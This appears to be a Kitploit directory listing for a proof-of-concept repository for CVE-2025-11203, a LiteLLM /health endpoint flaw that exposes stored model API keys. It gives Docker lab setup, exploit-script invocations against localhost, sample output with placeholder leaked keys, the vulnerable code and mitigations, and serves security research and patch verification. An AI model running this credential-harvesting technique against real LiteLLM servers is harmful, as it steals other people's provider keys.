Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-11203-PoC — The code for personally reproducing the corresponding vulnerability | Kitploit
Tools/GitHubGitHub/learner202649/cve-2025-11203-poc
Vulnerability AnalysisExploitationInformation GatheringWeb SecurityLearning & EducationAPI Security
GitHublearner202649/cve-2025-11203-poc

CVE-2025-11203-PoC

The code for personally reproducing the corresponding vulnerability

View Repository
43 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-11203 — LiteLLM Health Endpoint API_KEY Information Disclosure

LiteLLM (versions < 1.63.14) /health endpoint, when processing the api_key parameter, does not properly filter sensitive information, causing authenticated users to retrieve API Keys stored in other model configurations. The api_key field that should have been removed by the _clean_endpoint_data() function is leaked in certain code paths.

FieldValue
CVECVE-2025-11203
ZDI IDZDI-25-929 (ZDI-CAN-26585)
CVSS v3.03.5 (LOW) — AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N
CWECWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
AffectedLiteLLM < 1.63.14
Fixedv1.63.14+ (_clean_endpoint_data() fully applied)
Published2025-10-29
Discovered byDavid Fiser & Alfredo Oliveira — Trend Micro Security Research
Reported to vendor2025-03-25
LinksZDI-25-929 • NVD • GHSA-w4vf-cc4x-mpjq

Description

The /health endpoint of LiteLLM returns health status for all configured models. Normally, the _clean_endpoint_data() function should remove sensitive fields (such as api_key, x-api-key, etc.) from the health check response.

However, before v1.63.14, this cleanup function was not executed or was executed incompletely in certain code paths, causing API Keys in model configurations to be returned in plaintext in the health check response.

Vulnerable Endpoints

EndpointMethodDescription
/healthGETReturns health status for all models
/health/livelinessGETLiveness check
/health/readinessGETReadiness check

Leaked Sensitive Information

Authenticated users can obtain via health check endpoints:

  • API Keys for all configured models (OpenAI, Anthropic, Azure, etc.)
  • Model endpoint URLs and other information
  • Stored credentials can be used for further attacks

Proof of Concept

Quick Start (Docker)

root@kitploit:~
# 1. Start vulnerable LiteLLM
docker compose up -d

# 2. Install dependencies
pip install -r requirements.txt

# 3. Run exploit script
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key

# 4. View full response
python3 exploit/exploit.py --target http://localhost:4000 --key sk-litellm-master-key --verbose

# 5. (Optional) Verify fixed version
docker compose --profile fixed up -d
python3 exploit/exploit.py --target http://localhost:4001 --key sk-litellm-master-key --fixed

Expected Output

root@kitploit:~
======================================================================
[VULNERABLE] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
 Target     : http://localhost:4000
 API Key    : sk-litellm-master-key...
 Endpoint   : /health

[*] Step 1: Query /health (this may take ~60s while LiteLLM probes upstream models)...
    HTTP 200 — OK

[*] Step 2: Scanning for leaked credentials...

[🔥] LEAKED CREDENTIALS FOUND: 3 item(s)!

    Path  : unhealthy_endpoints[0].api_key
    Field : api_key
    Value : sk-this-is-a-leaked-openai-key...cdef123456  (len=43)

    Path  : unhealthy_endpoints[1].api_key
    Field : api_key
    Value : sk-another-leaked-key-789012xy...-789012xyz  (len=31)

    Path  : unhealthy_endpoints[2].api_key
    Field : api_key
    Value : sk-ant-anthropic-leaked-key-xx...-key-xxxxx  (len=33)

 Models checked: 3
 Credentials leaked: 3
 [🔥] VULNERABILITY CONFIRMED: API keys exposed via /health!

Note: Step 1 takes ~60s because LiteLLM probes each upstream model (fake keys cause each connection to time out). The leaked keys appear under unhealthy_endpoints since the fake keys can't actually connect to OpenAI/Anthropic.

Fixed version refuses to leak:

root@kitploit:~
======================================================================
[FIXED] CVE-2025-11203 — Health Endpoint API Key Leak
======================================================================
    No API keys found in response.
    [+] Expected: keys sanitized by _clean_endpoint_data()

Technical Details

Vulnerable Code

The vulnerability lies in the _clean_endpoint_data() function in litellm/proxy/health_check.py, which filters sensitive fields like api_key via the ILLEGAL_DISPLAY_PARAMS list:

root@kitploit:~
ILLEGAL_DISPLAY_PARAMS = [
    "messages",
    "api_key",
    "prompt",
    "input",
    "vertex_credentials",
    "aws_access_key_id",
    "aws_secret_access_key",
]

def _clean_endpoint_data(endpoint_data: dict, details: Optional[bool] = True):
    return (
        {k: v for k, v in endpoint_data.items() if k not in ILLEGAL_DISPLAY_PARAMS}
        if details is not False
        else {k: v for k, v in endpoint_data.items() if k in MINIMAL_DISPLAY_PARAMS}
    )

In this demo we have removed "api_key" from ILLEGAL_DISPLAY_PARAMS using sed, causing the /health response to return the raw model configuration, simulating a bypass of the cleanup function in certain code paths.

Impact

  • Authenticated low-privilege users can read API Keys from all model configurations
  • Leaked credentials can be used to directly call LLM provider APIs
  • Can lead to further data disclosure and account takeover

Environment

root@kitploit:~
CVE-2025-11203/
├── README.md                    # This file
├── docker-compose.yml           # Vulnerable + fixed LiteLLM
├── litellm_config.yaml          # Config with 3 models + API keys
├── requirements.txt             # Python dependencies
├── litellm-vuln/
│   └── Dockerfile               # pip install "litellm[proxy]==1.61.0" + patch
├── exploit/
│   └── exploit.py               # Main exploit script
├── docs/
│   └── advisory.md
└── screenshots/

Fix

Fixed in v1.63.14, ensuring _clean_endpoint_data() is correctly invoked in all health check code paths.

Mitigation Measures

  1. Upgrade LiteLLM to v1.63.14+
  2. If unable to upgrade, restrict access to the /health endpoint
  3. Monitor for anomalous access to health check endpoints

References

  • ZDI-25-929
  • NVD Detail
  • GHSA-w4vf-cc4x-mpjq
  • LiteLLM v1.63.14 Release Notes

Disclaimer: This content is provided for educational purposes and authorized security testing only.

Download Tool